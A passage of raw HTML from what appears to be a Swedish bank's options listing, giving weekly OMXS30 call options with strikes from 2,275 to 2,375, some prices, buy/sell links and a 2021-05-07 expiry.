<div class="toolsFlexContainer" data-orderbook_id="1209806" data-instrument_id="1212708"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209805"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209805/omxs301e07y2275"
title="Köp optioner i OMXS301E07Y2275"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209805/omxs301e07y2275"
title="Sälj optioner i OMXS301E07Y2275"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209805/omxs301e07y2275" class="link" title="OMXS301E07Y2275">
OMXS301E07Y2275</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 275,00</td>
<td class="overview noSort">106,67</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209805" data-instrument_id="1212707"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209804"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209804/omxs301e07y2280"
title="Köp optioner i OMXS301E07Y2280"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209804/omxs301e07y2280"
title="Sälj optioner i OMXS301E07Y2280"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209804/omxs301e07y2280" class="link" title="OMXS301E07Y2280">
OMXS301E07Y2280</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 280,00</td>
<td class="overview noSort">157,89</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209804" data-instrument_id="1212706"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209803"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209803/omxs301e07y2285"
title="Köp optioner i OMXS301E07Y2285"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209803/omxs301e07y2285"
title="Sälj optioner i OMXS301E07Y2285"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209803/omxs301e07y2285" class="link" title="OMXS301E07Y2285">
OMXS301E07Y2285</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 285,00</td>
<td class="overview noSort">187,10</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209803" data-instrument_id="1212705"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209802"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209802/omxs301e07y2290"
title="Köp optioner i OMXS301E07Y2290"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209802/omxs301e07y2290"
title="Sälj optioner i OMXS301E07Y2290"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209802/omxs301e07y2290" class="link" title="OMXS301E07Y2290">
OMXS301E07Y2290</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 290,00</td>
<td class="overview noSort">195,06</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209802" data-instrument_id="1212704"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209800"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209800/omxs301e07y2295"
title="Köp optioner i OMXS301E07Y2295"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209800/omxs301e07y2295"
title="Sälj optioner i OMXS301E07Y2295"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209800/omxs301e07y2295" class="link" title="OMXS301E07Y2295">
OMXS301E07Y2295</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 295,00</td>
<td class="overview noSort">193,94</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209800" data-instrument_id="1212702"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209799"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209799/omxs301e07y2300"
title="Köp optioner i OMXS301E07Y2300"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209799/omxs301e07y2300"
title="Sälj optioner i OMXS301E07Y2300"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209799/omxs301e07y2300" class="link" title="OMXS301E07Y2300">
OMXS301E07Y2300</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 300,00</td>
<td class="overview noSort">66,67</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209799" data-instrument_id="1212701"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209798"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209798/omxs301e07y2305"
title="Köp optioner i OMXS301E07Y2305"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209798/omxs301e07y2305"
title="Sälj optioner i OMXS301E07Y2305"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209798/omxs301e07y2305" class="link" title="OMXS301E07Y2305">
OMXS301E07Y2305</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 305,00</td>
<td class="overview noSort">192,16</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209798" data-instrument_id="1212700"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1211592"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1211592/omxs301e07y2310"
title="Köp optioner i OMXS301E07Y2310"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1211592/omxs301e07y2310"
title="Sälj optioner i OMXS301E07Y2310"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1211592/omxs301e07y2310" class="link" title="OMXS301E07Y2310">
OMXS301E07Y2310</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 310,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1211592" data-instrument_id="1214494"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1211591"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1211591/omxs301e07y2315"
title="Köp optioner i OMXS301E07Y2315"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1211591/omxs301e07y2315"
title="Sälj optioner i OMXS301E07Y2315"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1211591/omxs301e07y2315" class="link" title="OMXS301E07Y2315">
OMXS301E07Y2315</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 315,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1211591" data-instrument_id="1214493"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1211590"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1211590/omxs301e07y2320"
title="Köp optioner i OMXS301E07Y2320"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1211590/omxs301e07y2320"
title="Sälj optioner i OMXS301E07Y2320"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1211590/omxs301e07y2320" class="link" title="OMXS301E07Y2320">
OMXS301E07Y2320</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 320,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1211590" data-instrument_id="1214492"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1211589"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1211589/omxs301e07y2325"
title="Köp optioner i OMXS301E07Y2325"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1211589/omxs301e07y2325"
title="Sälj optioner i OMXS301E07Y2325"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1211589/omxs301e07y2325" class="link" title="OMXS301E07Y2325">
OMXS301E07Y2325</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 325,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1211589" data-instrument_id="1214491"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1211588"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1211588/omxs301e07y2330"
title="Köp optioner i OMXS301E07Y2330"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1211588/omxs301e07y2330"
title="Sälj optioner i OMXS301E07Y2330"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1211588/omxs301e07y2330" class="link" title="OMXS301E07Y2330">
OMXS301E07Y2330</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 330,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1211588" data-instrument_id="1214490"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212740"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212740/omxs301e07y2335"
title="Köp optioner i OMXS301E07Y2335"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212740/omxs301e07y2335"
title="Sälj optioner i OMXS301E07Y2335"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212740/omxs301e07y2335" class="link" title="OMXS301E07Y2335">
OMXS301E07Y2335</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 335,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212740" data-instrument_id="1215642"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212736"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212736/omxs301e07y2340"
title="Köp optioner i OMXS301E07Y2340"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212736/omxs301e07y2340"
title="Sälj optioner i OMXS301E07Y2340"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212736/omxs301e07y2340" class="link" title="OMXS301E07Y2340">
OMXS301E07Y2340</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 340,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212736" data-instrument_id="1215638"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1213408"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1213408/omxs301e07y2345"
title="Köp optioner i OMXS301E07Y2345"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1213408/omxs301e07y2345"
title="Sälj optioner i OMXS301E07Y2345"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1213408/omxs301e07y2345" class="link" title="OMXS301E07Y2345">
OMXS301E07Y2345</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 345,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1213408" data-instrument_id="1216300"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1213406"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1213406/omxs301e07y2350"
title="Köp optioner i OMXS301E07Y2350"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1213406/omxs301e07y2350"
title="Sälj optioner i OMXS301E07Y2350"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1213406/omxs301e07y2350" class="link" title="OMXS301E07Y2350">
OMXS301E07Y2350</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 350,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1213406" data-instrument_id="1216298"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1217229"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217229/omxs301e07y2355"
title="Köp optioner i OMXS301E07Y2355"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217229/omxs301e07y2355"
title="Sälj optioner i OMXS301E07Y2355"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217229/omxs301e07y2355" class="link" title="OMXS301E07Y2355">
OMXS301E07Y2355</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 355,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217229" data-instrument_id="1220120"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1217228"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217228/omxs301e07y2360"
title="Köp optioner i OMXS301E07Y2360"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217228/omxs301e07y2360"
title="Sälj optioner i OMXS301E07Y2360"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217228/omxs301e07y2360" class="link" title="OMXS301E07Y2360">
OMXS301E07Y2360</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 360,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217228" data-instrument_id="1220119"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1217227"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217227/omxs301e07y2365"
title="Köp optioner i OMXS301E07Y2365"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217227/omxs301e07y2365"
title="Sälj optioner i OMXS301E07Y2365"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217227/omxs301e07y2365" class="link" title="OMXS301E07Y2365">
OMXS301E07Y2365</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 365,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217227" data-instrument_id="1220118"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1217226"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217226/omxs301e07y2370"
title="Köp optioner i OMXS301E07Y2370"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217226/omxs301e07y2370"
title="Sälj optioner i OMXS301E07Y2370"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217226/omxs301e07y2370" class="link" title="OMXS301E07Y2370">
OMXS301E07Y2370</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 370,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217226" data-instrument_id="1220117"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1217225"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217225/omxs301e07y2375"
title="Köp optioner i OMXS301E07Y2375"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217225/omxs301e07y2375"
title="Sälj optioner i OMXS301E07Y2375"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217225/omxs301e07y2375" class="link" title="OMXS301E07Y2375">
OMXS301E07Y2375</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 375,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217225" data-instrument_id="1220116"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
